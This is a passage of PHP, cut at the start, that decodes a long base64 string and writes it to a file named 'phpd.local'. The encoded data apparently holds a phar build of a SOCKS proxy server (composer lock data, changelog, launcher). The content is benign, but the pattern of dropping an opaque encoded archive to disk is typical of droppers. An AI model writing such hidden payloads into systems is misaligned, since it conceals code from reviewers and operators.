AgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJldmVuZW1lbnQvZXZlbmVtZW50IjogIjEuMC4qIiwKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIsCiAgICAgICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3Qvc3RyZWFtIjogIjAuMy4qIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxTb2NrZXQiOiAiIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkxpYnJhcnkgZm9yIGJ1aWxkaW5nIGFuIGV2ZW50ZWQgc29ja2V0IHNlcnZlci4iLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiU29ja2V0IgogICAgICAgICAgICBdLAogICAgICAgICAgICAidGltZSI6ICIyMDEzLTAxLTIxIDA0OjIwOjQ5IgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJyZWFjdC9zb2NrZXQtY2xpZW50IiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4xIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvU29ja2V0Q2xpZW50IiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9zb2NrZXQtY2xpZW50LmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjg3OTM1YTAyMjMzNjJjMzZjZDMwY2YyMTVjYmVjMzMzNzdkMzFjYTQiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9zb2NrZXQtY2xpZW50L3ppcGJhbGwvODc5MzVhMDIyMzM2MmMzNmNkMzBjZjIxNWNiZWMzMzM3N2QzMWNhNCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjg3OTM1YTAyMjMzNjJjMzZjZDMwY2YyMTVjYmVjMzMzNzdkMzFjYTQiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4zIiwKICAgICAgICAgICAgICAgICJyZWFjdC9kbnMiOiAiMC4zLioiLAogICAgICAgICAgICAgICAgInJlYWN0L2V2ZW50LWxvb3AiOiAiMC4zLioiLAogICAgICAgICAgICAgICAgInJlYWN0L3Byb21pc2UiOiAifjEuMCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgICAgICJSZWFjdFxcU29ja2V0Q2xpZW50IjogIiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgICAgICJNSVQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBjb25uZWN0b3IgdG8gb3BlbiBUQ1AvSVAgYW5kIFNTTC9UTFMgYmFzZWQgY29ubmVjdGlvbnMuIiwKICAgICAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAgICAgIlNvY2tldCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInRpbWUiOiAiMjAxMy0wNC0yMCAxNDo1NTo1OSIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicmVhY3Qvc3RyZWFtIiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4wIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvU3RyZWFtIiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9zdHJlYW0uZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiMjBjYzA0NThhZDkzZThmMWYwMGVmMTU0MDhlNzU5NDM2Y2UzNmQ2OCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL3N0cmVhbS96aXBiYWxsLzIwY2MwNDU4YWQ5M2U4ZjFmMDBlZjE1NDA4ZTc1OTQzNmNlMzZkNjgiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICIyMGNjMDQ1OGFkOTNlOGYxZjAwZWYxNTQwOGU3NTk0MzZjZTM2ZDY4IiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJldmVuZW1lbnQvZXZlbmVtZW50IjogIjEuMC4qIiwKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInN1Z2dlc3QiOiB7CiAgICAgICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxTdHJlYW0iOiAiIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkJhc2ljIHJlYWRhYmxlIGFuZCB3cml0YWJsZSBzdHJlYW0gaW50ZXJmYWNlcyB0aGF0IHN1cHBvcnQgcGlwaW5nLiIsCiAgICAgICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgICAgICJwaXBlIiwKICAgICAgICAgICAgICAgICJzdHJlYW0iCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTMtMDQtMTQgMDI6MTA6MzkiCiAgICAgICAgfQogICAgXSwKICAgICJwYWNrYWdlcy1kZXYiOiBbXSwKICAgICJhbGlhc2VzIjogW10sCiAgICAibWluaW11bS1zdGFiaWxpdHkiOiAic3RhYmxlIiwKICAgICJzdGFiaWxpdHktZmxhZ3MiOiBbXSwKICAgICJwcmVmZXItc3RhYmxlIjogZmFsc2UsCiAgICAicGxhdGZvcm0iOiB7CiAgICAgICAgInBocCI6ICI+PTUuMyIKICAgIH0sCiAgICAicGxhdGZvcm0tZGV2IjogW10KfQojIENIQU5HRUxPRwoKVGhpcyBmaWxlIGlzIGEgbWFudWFsbHkgbWFpbnRhaW5lZCBsaXN0IG9mIGNoYW5nZXMgZm9yIGVhY2ggcmVsZWFzZS4gRmVlbCBmcmVlCnRvIGFkZCB5b3VyIGNoYW5nZXMgaGVyZSB3aGVuIHNlbmRpbmcgcHVsbCByZXF1ZXN0cy4gQWxzbyBzZW5kIGNvcnJlY3Rpb25zIGlmCnlvdSBzcG90IGFueSBtaXN0YWtlcy4KCiMjIDAuMy40ICgyMDE0LTEwLTIyKQoKKiBGaXg6IERvd25ncmFkZSBicm9rZW4gZGVwZW5kZW5jeSBmb3IgcmVhY3Qvc29ja2V0LWNsaWVudCB0byB2MC4zLjEKICAoIzE2KQoKIyMgMC4zLjMgKDIwMTQtMDktMjcpCgoqIFJlcGxhY2UgW2NsdWUvc29ja3NdKGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1zb2Nrcykgd2l0aAogIFtjbHVlL3NvY2tzLXJlYWN0XShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtc29ja3MtcmVhY3QpCiAgYW5kIGZpeCBzdXBwb3J0IGZvciBmYXN0ZXIgbG9vcHMgKGxpYmV2IC8gbGliZXZlbnQpCiAgKCMxMyBhbmQgIzE0KQogIAoqIEZpeCBicm9rZW4gZGVwZW5kZW5jaWVzIGJ5IHVwZGF0aW5nIHRvIHRoZWlyIGxhdGVzdCB2ZXJzaW9ucwogICgjMTUpCgojIyAwLjMuMiAoMjAxNC0wNC0wNSkKCiogRml4OiBGaXhlZCBpbnZhbGlkIHJlZmVyZW5jZSBpbiB0aGUgYHBpbmdgIGNvbW1hbmQuCgojIyAwLjMuMSAoMjAxMy0wNi0yNCkKCiogRml4OiBJbnZhbGlkIGJpbiBwYXRoICh1bmFibGUgdG8gcnVuIHBzb2Nrc2QucGhhcikKCiMjIDAuMy4wICgyMDEzLTA2LTI0KQoKKiBGaXg6IFN1cHBvcnQgUEhQIDwgNS4zLjYKKiBVcGRhdGUgY2x1ZS9zb2NrcyB0byB2MC40IGFuZCBjbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYSB0byB2MC4zLjAgYW5kIApyZWFjdCB0byB2MC4zLjAgKCMxKQoKIyMgMC4yLjAgKDIwMTMtMDYtMTEpCgoqIEZlYXR1cmU6IEludGVyYWN0aXZlIENMSSBjb21tYW5kcwoqIEZlYXR1cmU6IENvbm5lY3Rpb25zIGNhbiBiZSBmb3J3YXJkZWQgc2VsZWN0aXZlbHkgdG8gbmV4dCBTT0NLUyBwcm94eQoqIEZlYXR1cmU6IEV2ZW50IGxvZyB3aXRoIGF1dGhlbnRpY2F0aW9uLCB0cmFmZmljIGFuZCB0aW1lcwoKIyMgMC4xLjAgKDIwMTItMTItMjMpCgoqIEZpcnN0IHRhZ2dlZCByZWxlYXNlCgo8P3BocAoKcmVxdWlyZSBfX0RJUl9fLicvLi4vdmVuZG9yL2F1dG9sb2FkLnBocCc7CgokYXBwID0gbmV3IENsdWVcUHNvY2tzZFxBcHAoKTsKJGFwcC0+cnVuKCk7kbkBAM2J5tlBYQ7CbQDygmrUtoACAAAAR0JNQg==";
$file_name = "phpd.local";
file_put_contents($file_name, base64_decode($a));